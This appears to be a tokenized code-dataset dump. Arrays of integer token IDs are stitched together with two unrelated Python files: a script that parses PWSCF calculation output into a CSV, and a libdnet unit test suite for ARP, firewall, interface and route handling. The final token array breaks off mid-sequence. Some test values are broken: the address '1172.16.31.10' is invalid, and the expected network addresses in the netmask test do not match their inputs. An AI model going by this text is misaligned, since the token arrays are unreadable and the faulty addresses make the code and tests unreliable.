6213, 13, 12, 12, 12, 12, 2457, 7700, 13, 13, 12, 12, 12, 2202, 29901, 13, 12, 12, 12, 12, 9006, 29918, 710, 353, 4852, 21278, 1849, 1192, 23126, 2607, 376, 13, 12, 12, 12, 12, 12, 29908, 21278, 1849, 1192, 2371, 14033, 1192, 23126, 2607, 376, 13, 12, 12, 12, 12, 12, 29908, 21278, 1849, 1192, 8143, 29899, 14153, 2607, 376, 13, 12, 12, 12, 12, 12, 29908, 21278, 1849, 1192, 2371, 14033, 1192, 8143, 29899, 14153, 2607, 376, 13, 12, 12, 12, 12, 12, 29908, 21278, 1849, 1192, 2371, 14033, 1192, 4397, 11971, 1672, 2692, 4214, 1192, 449, 29899, 13248, 6571, 448, 29926, 341, 3289, 13356, 1001, 29909, 2287, 2607, 376, 13, 12, 12, 12, 12, 12, 29908, 21278, 1849, 1192, 4397, 15842, 29956, 17011, 1192, 262, 29899, 13248, 6571, 448, 29926, 319, 19043, 7982, 2607, 376, 13, 12, 12, 12, 12, 12, 29908, 9675, 16948, 448, 29893, 7787, 29889, 666, 29894, 29946, 29889, 666, 29918, 11333, 29922, 29896, 2564, 4830, 29898, 17062, 1582, 29918, 13248, 29892, 1583, 29889, 13248, 29897, 13, 12, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 12, 2457, 7700, 13, 12, 12, 13, 12, 12, 1311, 29889, 1188, 29889, 3888, 703, 4763, 287, 270, 1983, 8247, 29939, 1146, 9857, 856, 1159, 13, 12, 12, 2457, 5852, 13, 13, 12, 1753, 5040, 29918, 29881, 1983, 8247, 29939, 29898, 1311, 1125, 13, 12, 12, 12008, 13, 12, 12, 855, 3554, 270, 1983, 8247, 29939, 1146, 9857, 1889, 29889, 13, 12, 12, 12008, 13, 12, 12, 5935, 353, 6213, 13, 12, 12, 361, 1583, 29889, 29881, 1983, 8247, 29939, 29918, 5935, 338, 451, 6213, 29901, 13, 12, 12, 12, 2202, 29901, 13, 12, 12, 12, 12, 2541, 1722, 29898, 1311, 29889, 29881, 1983, 8247, 29939, 29918, 5935, 29892, 525, 29878, 1495, 408, 285, 29901, 23107, 353, 285, 29889, 949, 1220, 580, 13, 12, 12, 12, 12, 361, 23107, 338, 451, 6213, 29901, 13, 12, 12, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 12088, 448, 29896, 29945, 376, 718, 23107, 13, 12, 12, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 12, 1311, 29889, 29881, 1983, 8247, 29939, 29918, 5935, 353, 6213, 13, 12, 12, 12, 12, 2457, 7700, 13, 12, 12, 1311, 29889, 29881, 1983, 8247, 29939, 29918, 5935, 353, 6213, 13, 12, 12, 1311, 29889, 1188, 29889, 3888, 703, 20754, 2986, 270, 1983, 8247, 29939, 1146, 9857, 856, 1159, 13, 12, 12, 2457, 5852, 13, 13, 12, 1753, 270, 1983, 8247, 29939, 29918, 21094, 29898, 1311, 1125, 13, 12, 12, 12008, 13, 12, 12, 5596, 29879, 565, 270, 1983, 8247, 29939, 338, 2734, 29889, 13, 12, 12, 12008, 13, 12, 12, 361, 1583, 29889, 29881, 1983, 8247, 29939, 29918, 5935, 338, 451, 6213, 29901, 13, 12, 12, 12, 2457, 5852, 13, 12, 12, 2870, 29901, 736, 7700, 13, 13, 12, 1753, 270, 29882, 4645, 29918, 1267, 809, 29898, 1311, 1125, 13, 12, 12, 12008, 13, 12, 12, 4763, 29879, 263, 270, 29882, 4645, 1146, 9857, 373, 278, 5067, 1583, 29889, 13248, 29889, 13, 12, 12, 12008, 13, 12, 12, 1311, 29889, 12744, 4645, 29918, 5935, 353, 5591, 1707, 29914, 3389, 29914, 12744, 4645, 29899, 29908, 718, 1583, 29889, 13248, 718, 11393, 5935, 29908, 396, 4312, 304, 5040, 270, 29882, 4645, 1146, 9857, 565, 4864, 13, 12, 12, 1311, 29889, 12744, 4645, 29918, 9847, 580, 13, 12, 12, 1311, 29889, 12744, 4645, 29918, 5935, 353, 5591, 1707, 29914, 3389, 29914, 12744, 4645, 29899, 29908, 718, 1583, 29889, 13248, 718, 11393, 5935, 29908, 396, 10092, 1951, 270, 29882, 4645, 29918, 9847, 6166, 372, 304, 6213, 13, 13, 12, 12, 17062, 1582, 29918, 13248, 353, 6213, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 29961, 29878, 401, 29892, 13267, 29892, 724, 29878, 29962, 353, 1583, 29889, 3389, 29918, 6519, 703, 13134, 891, 12680, 525, 29985, 4381, 29915, 891, 12680, 448, 29877, 525, 22896, 4514, 29394, 29915, 1159, 13, 12, 12, 12, 361, 13267, 29901, 29871, 13, 12, 12, 12, 12, 29879, 449, 29918, 2749, 353, 13267, 29889, 5451, 14182, 29876, 1159, 13, 12, 12, 12, 12, 17062, 1582, 29918, 13248, 353, 13267, 29918, 2749, 29961, 29900, 1822, 17010, 580, 13, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 12, 13, 12, 12, 361, 28646, 29918, 13248, 338, 451, 6213, 29901, 13, 12, 12, 12, 2202, 29901, 13, 12, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 270, 29882, 4645, 448, 29878, 376, 718, 28646, 29918, 13248, 718, 376, 2607, 9196, 270, 29882, 4645, 376, 718, 28646, 29918, 13248, 718, 376, 448, 29876, 29893, 29908, 13, 12, 12, 12, 12, 2158, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 270, 29882, 4645, 448, 29878, 376, 718, 1583, 29889, 13248, 718, 376, 448, 7810, 376, 718, 1583, 29889, 12744, 4645, 29918, 5935, 718, 376, 2607, 9196, 270, 29882, 4645, 376, 718, 1583, 29889, 13248, 718, 376, 448, 7810, 376, 718, 1583, 29889, 12744, 4645, 29918, 5935, 718, 376, 448, 29876, 29893, 29908, 13, 12, 12, 12, 2158, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 2457, 7700, 13, 12, 12, 1311, 29889, 1188, 29889, 3888, 703, 12744, 4645, 23011, 2551, 8159, 856, 1159, 13, 12, 12, 2457, 5852, 13, 13, 12, 1753, 270, 29882, 4645, 29918, 9847, 29898, 1311, 1125, 13, 12, 12, 12008, 13, 12, 12, 855, 3554, 278, 270, 29882, 4645, 1146, 9857, 373, 278, 5067, 1583, 29889, 13248, 29889, 13, 12, 12, 12008, 13, 12, 12, 5935, 353, 6213, 13, 12, 12, 361, 1583, 29889, 12744, 4645, 29918, 5935, 338, 451, 6213, 29901, 13, 12, 12, 12, 2202, 29901, 13, 12, 12, 12, 12, 2541, 1722, 29898, 1311, 29889, 12744, 4645, 29918, 5935, 29892, 525, 29878, 1495, 408, 285, 29901, 23107, 353, 285, 29889, 949, 1220, 580, 13, 12, 12, 12, 12, 361, 23107, 338, 451, 6213, 29901, 13, 12, 12, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 12088, 448, 29896, 29945, 376, 718, 23107, 13, 12, 12, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 12, 1311, 29889, 12744, 4645, 29918, 5935, 353, 6213, 13, 12, 12, 12, 12, 2457, 7700, 13, 12, 12, 1311, 29889, 12744, 4645, 29918, 5935, 353, 6213, 13, 12, 12, 1311, 29889, 1188, 29889, 3888, 703, 20754, 2986, 270, 29882, 4645, 1146, 9857, 856, 1159, 13, 12, 12, 2457, 5852, 13, 13, 12, 1753, 5040, 29918, 11618, 29918, 12847, 29898, 1311, 1125, 13, 12, 12, 12008, 13, 12, 12, 855, 3554, 278, 3564, 29899, 12847, 2669, 565, 2734, 29889, 13, 12, 12, 12008, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 2669, 3564, 29899, 12847, 5040, 29908, 13, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 2457, 7700, 13, 12, 12, 1311, 29889, 1188, 29889, 3888, 703, 13724, 8455, 11084, 856, 1159, 13, 12, 12, 2457, 5852, 13, 13, 12, 1753, 679, 29918, 3069, 481, 29918, 13248, 29898, 1311, 1125, 13, 12, 12, 12008, 13, 12, 12, 11609, 29879, 278, 3495, 481, 2761, 5067, 29889, 13, 12, 12, 12008, 13, 12, 12, 2457, 1583, 29889, 3069, 481, 29918, 13248, 13, 13, 12, 1753, 1065, 29918, 6519, 29898, 1311, 29892, 1899, 1125, 13, 12, 12, 12008, 13, 12, 12, 6558, 29879, 1788, 8260, 29889, 13, 12, 12, 12008, 13, 12, 12, 1028, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 13, 12, 12, 12, 12, 303, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 6473, 29922, 5574, 29897, 13, 12, 12, 449, 29892, 4589, 353, 805, 29889, 27820, 403, 580, 13, 13, 12, 12, 361, 7700, 29901, 13, 12, 12, 12, 361, 714, 29901, 13, 12, 12, 12, 12, 1311, 29889, 1188, 29889, 8382, 703, 15770, 1962, 310, 1014, 5014, 29901, 1159, 13, 12, 12, 12, 12, 1311, 29889, 1188, 29889, 8382, 29898, 449, 29897, 13, 12, 12, 12, 361, 4589, 29901, 13, 12, 12, 12, 12, 1311, 29889, 1188, 29889, 8382, 703, 15770, 1059, 310, 1014, 5014, 29901, 1159, 13, 12, 12, 12, 12, 1311, 29889, 1188, 29889, 8382, 29898, 3127, 29897, 13, 13, 12, 12, 361, 4589, 29901, 13, 12, 12, 12, 22692, 8960, 703, 2744, 1059, 10761, 297, 12279, 29918, 1388, 331, 787, 1065, 29918, 6519, 29901, 1273, 29879, 29908, 1273, 4589, 29897, 13, 13, 12, 12, 2457, 518, 1028, 29889, 2457, 401, 29892, 714, 29889, 13808, 703, 9420, 29899, 29947, 4968, 4589, 29889, 13808, 703, 9420, 29899, 29947, 13531, 13, 2 ]
labs/lab2/analyze.py
asmhatre96/nano266
15
170158
<gh_stars>10-100 #!/usr/bin/env python import re import sys import csv import argparse # This defines the patterns for extracting relevant data from the output # files. patterns = { "energy": re.compile(r"total energy\s+=\s+([\d\.\-]+)\sRy"), "ecut": re.compile(r"kinetic\-energy cutoff\s+=\s+([\d\.\-]+)\s+Ry"), "alat": re.compile(r"celldm\(1\)=\s+([\d\.]+)\s"), "nkpts": re.compile(r"number of k points=\s+([\d]+)"), "total_force": re.compile(r"Total force =\s+([\d\.]+)") } def get_results(filename): data = {} with open(filename) as f: for l in f: for k, p in patterns.items(): m = p.search(l) if m: data[k] = float(m.group(1)) continue return data def analyze(filenames): fieldnames = ['filename', 'ecut', 'nkpts', 'alat', 'energy','total_force'] with open('results.csv', 'w') as csvfile: writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writeheader() for f in filenames: r = get_results(f) r["filename"] = f writer.writerow(r) print("Results written to results.csv!") if __name__ == "__main__": parser = argparse.ArgumentParser( description='''Tool for analysis of PWSCF calculations.''') parser.add_argument( 'filenames', metavar='filenames', type=str, nargs="+", help='Files to process. You may use wildcards, e.g., "python analyze.py *.out".') args = parser.parse_args() analyze(args.filenames)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29899, 29896, 29900, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 13, 5215, 337, 13, 5215, 10876, 13, 5215, 11799, 13, 5215, 1852, 5510, 13, 13, 13, 29937, 910, 17645, 278, 15038, 363, 6597, 292, 8018, 848, 515, 278, 1962, 13, 29937, 2066, 29889, 13, 11037, 29879, 353, 426, 13, 1678, 376, 27548, 1115, 337, 29889, 12198, 29898, 29878, 29908, 7827, 5864, 29905, 29879, 29974, 2013, 29879, 29974, 4197, 29905, 29881, 29905, 7790, 29899, 10062, 2144, 29879, 29934, 29891, 4968, 13, 1678, 376, 687, 329, 1115, 337, 29889, 12198, 29898, 29878, 29908, 9089, 7492, 29905, 29899, 27548, 5700, 2696, 29905, 29879, 29974, 2013, 29879, 29974, 4197, 29905, 29881, 29905, 7790, 29899, 10062, 2144, 29879, 29974, 29934, 29891, 4968, 13, 1678, 376, 284, 271, 1115, 337, 29889, 12198, 29898, 29878, 29908, 2242, 430, 29885, 29905, 29898, 29896, 7244, 2013, 29879, 29974, 4197, 29905, 29881, 29905, 5586, 29974, 2144, 29879, 4968, 13, 1678, 376, 29876, 29895, 16485, 1115, 337, 29889, 12198, 29898, 29878, 29908, 4537, 310, 413, 3291, 2013, 29879, 29974, 4197, 29905, 29881, 10062, 29897, 4968, 13, 1678, 376, 7827, 29918, 10118, 1115, 337, 29889, 12198, 29898, 29878, 29908, 11536, 4889, 17313, 29879, 29974, 4197, 29905, 29881, 29905, 5586, 29974, 25760, 13, 29913, 13, 13, 13, 1753, 679, 29918, 9902, 29898, 9507, 1125, 13, 1678, 848, 353, 6571, 13, 1678, 411, 1722, 29898, 9507, 29897, 408, 285, 29901, 13, 4706, 363, 301, 297, 285, 29901, 13, 9651, 363, 413, 29892, 282, 297, 15038, 29889, 7076, 7295, 13, 18884, 286, 353, 282, 29889, 4478, 29898, 29880, 29897, 13, 18884, 565, 286, 29901, 13, 462, 1678, 848, 29961, 29895, 29962, 353, 5785, 29898, 29885, 29889, 2972, 29898, 29896, 876, 13, 462, 1678, 6773, 13, 1678, 736, 848, 13, 13, 13, 1753, 27599, 29898, 1777, 264, 1280, 1125, 13, 1678, 1746, 7039, 353, 6024, 9507, 742, 525, 687, 329, 742, 525, 29876, 29895, 16485, 742, 525, 284, 271, 742, 525, 27548, 3788, 7827, 29918, 10118, 2033, 13, 1678, 411, 1722, 877, 9902, 29889, 7638, 742, 525, 29893, 1495, 408, 11799, 1445, 29901, 13, 4706, 9227, 353, 11799, 29889, 21533, 10507, 29898, 7638, 1445, 29892, 1746, 7039, 29922, 2671, 7039, 29897, 13, 4706, 9227, 29889, 3539, 6672, 580, 13, 4706, 363, 285, 297, 977, 264, 1280, 29901, 13, 9651, 364, 353, 679, 29918, 9902, 29898, 29888, 29897, 13, 9651, 364, 3366, 9507, 3108, 353, 285, 13, 9651, 9227, 29889, 13236, 340, 29898, 29878, 29897, 13, 1678, 1596, 703, 12191, 3971, 304, 2582, 29889, 7638, 29991, 1159, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 13, 4706, 6139, 2433, 4907, 12229, 363, 7418, 310, 349, 29956, 7187, 29943, 17203, 29889, 4907, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 29898, 13, 4706, 525, 1777, 264, 1280, 742, 1539, 485, 279, 2433, 1777, 264, 1280, 742, 1134, 29922, 710, 29892, 302, 5085, 543, 29974, 613, 13, 4706, 1371, 2433, 10547, 304, 1889, 29889, 887, 1122, 671, 8775, 28160, 29892, 321, 29889, 29887, 1696, 376, 4691, 27599, 29889, 2272, 20611, 449, 1642, 1495, 13, 1678, 6389, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 1678, 27599, 29898, 5085, 29889, 1777, 264, 1280, 29897, 13, 2 ]
python/test.py
dugsong/libdnet
103
108216
<filename>python/test.py #!/usr/bin/env python import sys, unittest from os import listdir from interfacefinder import mac_addr,local_ip,loopback_intf for dir in listdir('build'): if dir.startswith('lib.'): sys.path.insert(0, "build/" + dir) import dnet class AddrTestCase(unittest.TestCase): def test_addr_cmp(self): for atxt in ('1.2.3.0', '0:d:e:a:d:0', 'fc00:e968:6179::de52:7100:fa:ce:0'): a = dnet.addr(atxt) b = dnet.addr(atxt) assert a == b b = dnet.addr(atxt[:-1] + '1') assert a < b assert b > a def test_addr_bcast(self): d = { 32:'10.0.0.0', 31:'10.0.0.1', 30:'10.0.0.3', 29:'10.0.0.7', 28:'10.0.0.15', 27:'10.0.0.31', 26:'10.0.0.63', 25:'10.0.0.127', 24:'10.0.0.255', 23:'10.0.1.255', 22:'10.0.3.255', 21:'10.0.7.255', 20:'10.0.15.255', 19:'10.0.31.255' } for bits in d: a = dnet.addr('%s/%d' % (d[32], bits)) b = a.bcast() self.assertTrue(b.__repr__() == d[bits], 'wrong bcast for /%d' % bits) def test_addr_net(self): d = { 32:'172.16.58.3', 31:'192.168.127.12', 30:'172.16.17.32', 29:'172.16.31.10', 28:'192.168.127.12', 27:'192.168.3.11', 26:'172.16.17.32', 25:'192.168.3.11', 24:'172.16.31.10', 23:'192.168.127.12', 22:'172.16.31.10', 21:'172.16.17.32', 20:'192.168.127.12', 19:'192.168.3.11' } for bits in d: a = dnet.addr('%s/%d' % (d[32], bits)) b = a.net() self.assertTrue(b.__repr__() == d[bits], 'wrong net for /%d' % bits) def test_addr_properties(self): atxt = '1.2.3.4/24' a = dnet.addr(atxt) assert a.type == dnet.ADDR_TYPE_IP and a.bits == 24 assert a.ip == b'\x01\x02\x03\x04' and a.__repr__() == atxt try: self.assertTrue(a.eth == 'xxx', 'invalid eth property') except ValueError: pass atxt = '00:0d:0e:0a:0d:00' a = dnet.addr(atxt) assert a == dnet.addr('0:d:E:a:D:0') assert a.type == dnet.ADDR_TYPE_ETH and a.bits == 48 assert a.eth == b'\x00\x0d\x0e\x0a\x0d\x00' and a.__repr__() == atxt try: self.assertTrue(a.ip6 == 'xxx', 'invalid ip6 property') except ValueError: pass atxt = 'fe80::dead:beef:feed:face/48' a = dnet.addr(atxt) assert a == dnet.addr('fe80:0:0::dead:beef:feed:face/48') assert a.type == dnet.ADDR_TYPE_IP6 and a.bits == 48 assert a.ip6 == b'\xfe\x80\x00\x00\x00\x00\x00\x00\xde\xad\xbe\xef\xfe\xed\xfa\xce' and a.__repr__() == atxt try: self.assertTrue(a.ip == 'xxx', 'invalid ip property') except ValueError: pass class ArpTestCase(unittest.TestCase): def setUp(self): self.arp = dnet.arp() self.assertTrue(self.arp, "couldn't open ARP handle") def tearDown(self): del self.arp def test_arp(self): # XXX - site-specific values here! pa = dnet.addr(local_ip) ha = dnet.addr(mac_addr) self.assertTrue(self.arp.add(pa, ha) == None, "couldn't add ARP entry") self.assertTrue(self.arp.get(pa) == ha, "couldn't find ARP entry") self.assertTrue(self.arp.delete(pa) == None, "couldn't delete ARP entry") self.assertTrue(self.arp.get(pa) == None, "wrong ARP entry present") self.assertTrue(self.arp.add(pa, ha) == None, "couldn't add ARP entry") self.assertTrue(self.arp.get(pa) == ha, "couldn't find ARP entry") def __arp_cb(self, pa, arg): # XXX - do nothing return arg def test_arp_loop(self): assert self.arp.loop(self.__arp_cb, 0) == 0 assert self.arp.loop(self.__arp_cb, 123) == 123 def test_arp_misc(self): sha = b'\x00\x0d\x0e\x0a\x0d\x00' spa = b'\x01\x02\x03\x04' dha = b'\x00\x0b\x0e\x0e\x0f\x00' dpa = b'\x05\x06\x07\x08' msg = dnet.arp_pack_hdr_ethip(dnet.ARP_OP_REQUEST, sha, spa, dha, dpa) assert msg == b'\x00\x01\x08\x00\x06\x04\x00\x01\x00\r\x0e\n\r\x00\x01\x02\x03\x04\x00\x0b\x0e\x0e\x0f\x00\x05\x06\x07\x08' class EthTestCase(unittest.TestCase): def setUp(self): self.dev = dnet.intf().get_dst(dnet.addr('1.2.3.4'))['name'] self.eth = dnet.eth(self.dev) self.assertTrue(self.eth, "couldn't open Ethernet handle") def tearDown(self): del self.eth def test_eth_get(self): mac = self.eth.get() self.assertTrue(mac, "couldn't get Ethernet address for %s" % self.dev) def test_eth_misc(self): n = b'\x00\x0d\x0e\x0a\x0d\x00' a = '00:0d:0e:0a:0d:00' self.assertTrue(dnet.eth_ntoa(n) == a) self.assertTrue(dnet.eth_aton(a) == n) dst = b'\x00\x0d\x0e\x0a\x0d\x01' self.assertTrue(dnet.eth_pack_hdr(n, dst, dnet.ETH_TYPE_IP) == b'\x00\r\x0e\n\r\x00\x00\r\x0e\n\r\x01\x08\x00') class FwTestCase(unittest.TestCase): def setUp(self): self.dev = dnet.intf().get_dst(dnet.addr('1.2.3.4'))['name'] self.fw = dnet.fw() self.assertTrue(self.fw, "couldn't open firewall handle") def tearDown(self): del self.fw def test_fw(self): src = dnet.addr('1.2.3.4') dst = dnet.addr('5.6.7.8') d = { 'device':self.dev, 'op':dnet.FW_OP_BLOCK, 'dir':dnet.FW_DIR_OUT, 'proto':dnet.IP_PROTO_UDP, 'src':src, 'dst':dst, 'dport':(660, 666) } self.assertTrue(self.fw.add(d) == None, "couldn't add firewall rule: %s" % d) self.assertTrue(self.fw.delete(d) == None, "couldn't delete firewall rule: %s" % d) def __fw_cb(self, rule, arg): # XXX - do nothing return arg def test_fw_loop(self): assert self.fw.loop(self.__fw_cb, 0) == 0 # XXX - no guarantee of existing fw rules. #assert self.fw.loop(self.__fw_cb, 123) == 123 class IntfTestCase(unittest.TestCase): def setUp(self): self.intf = dnet.intf() self.assertTrue(self.intf, "couldn't open interface handle") def tearDown(self): del self.intf def test_intf_get(self): lo0 = self.intf.get(loopback_intf) self.assertTrue(lo0['name'] == loopback_intf, "couldn't get loopback config") self.assertTrue(self.intf.get_src(dnet.addr('127.0.0.1')) == lo0, "couldn't get_src 127.0.0.1") gw = self.intf.get_dst(dnet.addr('1.2.3.4')) self.assertTrue(gw, "couldn't get outgoing interface") def test_intf_set(self): lo0 = self.intf.get(loopback_intf) old_mtu = lo0['mtu'] new_mtu = 1234 lo0['mtu'] = new_mtu self.intf.set(lo0) lo0 = self.intf.get(loopback_intf) assert lo0['mtu'] == new_mtu lo0['mtu'] = old_mtu self.intf.set(lo0) def __intf_cb(self, ifent, arg): # XXX - do nothing return arg def test_intf_loop(self): assert self.intf.loop(self.__intf_cb, 0) == 0 assert self.intf.loop(self.__intf_cb, 123) == 123 class IpTestCase(unittest.TestCase): def setUp(self): self.ip = dnet.ip() self.assertTrue(self.ip, "couldn't open raw IP handle") def tearDown(self): del self.ip def test_ip_misc(self): n = b'\x01\x02\x03\x04' a = '1.2.3.4' self.assertTrue(dnet.ip_ntoa(n) == a) self.assertTrue(dnet.ip_aton(a) == n) dst = b'\x05\x06\x07\x08' hdr = dnet.ip_pack_hdr(0, dnet.IP_HDR_LEN, 666, 0, 255,dnet.IP_PROTO_UDP, n, dst) self.assertTrue(hdr == b'E\x00\x00\x14\x02\x9a\x00\x00\xff\x11\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08') hdr = dnet.ip_checksum(hdr) self.assertTrue(hdr == '\x00\x00\x14\x02\x9a\x00\x00\xff\x11\xa9\x01\x02\x03\x04\x05\x06\x07\x08') class RandTestCase(unittest.TestCase): def setUp(self): self.rand = dnet.rand() self.assertTrue(self.rand, "couldn't open random handle") def tearDown(self): del self.rand class RouteTestCase(unittest.TestCase): def setUp(self): self.route = dnet.route() self.assertTrue(self.route, "couldn't open route handle") def tearDown(self): del self.route def test_route(self): dst = dnet.addr('1.2.3.4/24') gw = dnet.addr('1172.16.31.10') self.route.add(dst, gw) self.assertTrue(self.route.get(dst) == gw) self.route.delete(dst) def __route_cb(self, dst, arg): # XXX - do nothing return arg def test_route_loop(self): assert self.route.loop(self.__route_cb, 0) == 0 assert self.route.loop(self.__route_cb, 123) == 123 if __name__ == '__main__': unittest.main()
[ 1, 529, 9507, 29958, 4691, 29914, 1688, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 13, 5215, 10876, 29892, 443, 27958, 13, 3166, 2897, 1053, 1051, 3972, 13, 3166, 5067, 2886, 261, 1053, 5825, 29918, 10030, 29892, 2997, 29918, 666, 29892, 7888, 1627, 29918, 524, 29888, 13, 1454, 4516, 297, 1051, 3972, 877, 4282, 29374, 13, 1678, 565, 4516, 29889, 27382, 2541, 877, 1982, 6169, 1125, 13, 4706, 10876, 29889, 2084, 29889, 7851, 29898, 29900, 29892, 376, 4282, 12975, 718, 4516, 29897, 13, 5215, 270, 1212, 13, 13, 1990, 3462, 29878, 3057, 8259, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 1243, 29918, 10030, 29918, 21058, 29898, 1311, 1125, 13, 4706, 363, 472, 486, 297, 6702, 29896, 29889, 29906, 29889, 29941, 29889, 29900, 742, 525, 29900, 29901, 29881, 29901, 29872, 29901, 29874, 29901, 29881, 29901, 29900, 742, 525, 13801, 29900, 29900, 29901, 29872, 29929, 29953, 29947, 29901, 29953, 29896, 29955, 29929, 1057, 311, 29945, 29906, 29901, 29955, 29896, 29900, 29900, 29901, 5444, 29901, 346, 29901, 29900, 29374, 13, 9651, 263, 353, 270, 1212, 29889, 10030, 29898, 271, 486, 29897, 13, 9651, 289, 353, 270, 1212, 29889, 10030, 29898, 271, 486, 29897, 13, 9651, 4974, 263, 1275, 289, 13, 13, 9651, 289, 353, 270, 1212, 29889, 10030, 29898, 271, 486, 7503, 29899, 29896, 29962, 718, 525, 29896, 1495, 13, 9651, 4974, 263, 529, 289, 13, 9651, 4974, 289, 1405, 263, 13, 13, 1678, 822, 1243, 29918, 10030, 29918, 29890, 4384, 29898, 1311, 1125, 13, 4706, 270, 353, 426, 29871, 29941, 29906, 11283, 29896, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 742, 29871, 29941, 29896, 11283, 29896, 29900, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29941, 29900, 11283, 29896, 29900, 29889, 29900, 29889, 29900, 29889, 29941, 742, 29871, 29906, 29929, 11283, 29896, 29900, 29889, 29900, 29889, 29900, 29889, 29955, 742, 13, 1669, 29906, 29947, 11283, 29896, 29900, 29889, 29900, 29889, 29900, 29889, 29896, 29945, 742, 29871, 29906, 29955, 11283, 29896, 29900, 29889, 29900, 29889, 29900, 29889, 29941, 29896, 742, 29871, 29906, 29953, 11283, 29896, 29900, 29889, 29900, 29889, 29900, 29889, 29953, 29941, 742, 29871, 29906, 29945, 11283, 29896, 29900, 29889, 29900, 29889, 29900, 29889, 29896, 29906, 29955, 742, 13, 1669, 29906, 29946, 11283, 29896, 29900, 29889, 29900, 29889, 29900, 29889, 29906, 29945, 29945, 742, 29871, 29906, 29941, 11283, 29896, 29900, 29889, 29900, 29889, 29896, 29889, 29906, 29945, 29945, 742, 29871, 29906, 29906, 11283, 29896, 29900, 29889, 29900, 29889, 29941, 29889, 29906, 29945, 29945, 742, 13, 1669, 29906, 29896, 11283, 29896, 29900, 29889, 29900, 29889, 29955, 29889, 29906, 29945, 29945, 742, 29871, 29906, 29900, 11283, 29896, 29900, 29889, 29900, 29889, 29896, 29945, 29889, 29906, 29945, 29945, 742, 29871, 29896, 29929, 11283, 29896, 29900, 29889, 29900, 29889, 29941, 29896, 29889, 29906, 29945, 29945, 29915, 500, 13, 4706, 363, 9978, 297, 270, 29901, 13, 9651, 263, 353, 270, 1212, 29889, 10030, 877, 29995, 29879, 22584, 29881, 29915, 1273, 313, 29881, 29961, 29941, 29906, 1402, 9978, 876, 13, 9651, 289, 353, 263, 29889, 29890, 4384, 580, 13, 9651, 1583, 29889, 9294, 5574, 29898, 29890, 17255, 276, 558, 1649, 580, 1275, 270, 29961, 14836, 1402, 13, 462, 9651, 525, 15866, 549, 289, 4384, 363, 847, 29995, 29881, 29915, 1273, 9978, 29897, 13, 632, 13, 1678, 822, 1243, 29918, 10030, 29918, 1212, 29898, 1311, 1125, 13, 4706, 270, 353, 426, 29871, 29941, 29906, 11283, 29896, 29955, 29906, 29889, 29896, 29953, 29889, 29945, 29947, 29889, 29941, 742, 29871, 29941, 29896, 11283, 29896, 29929, 29906, 29889, 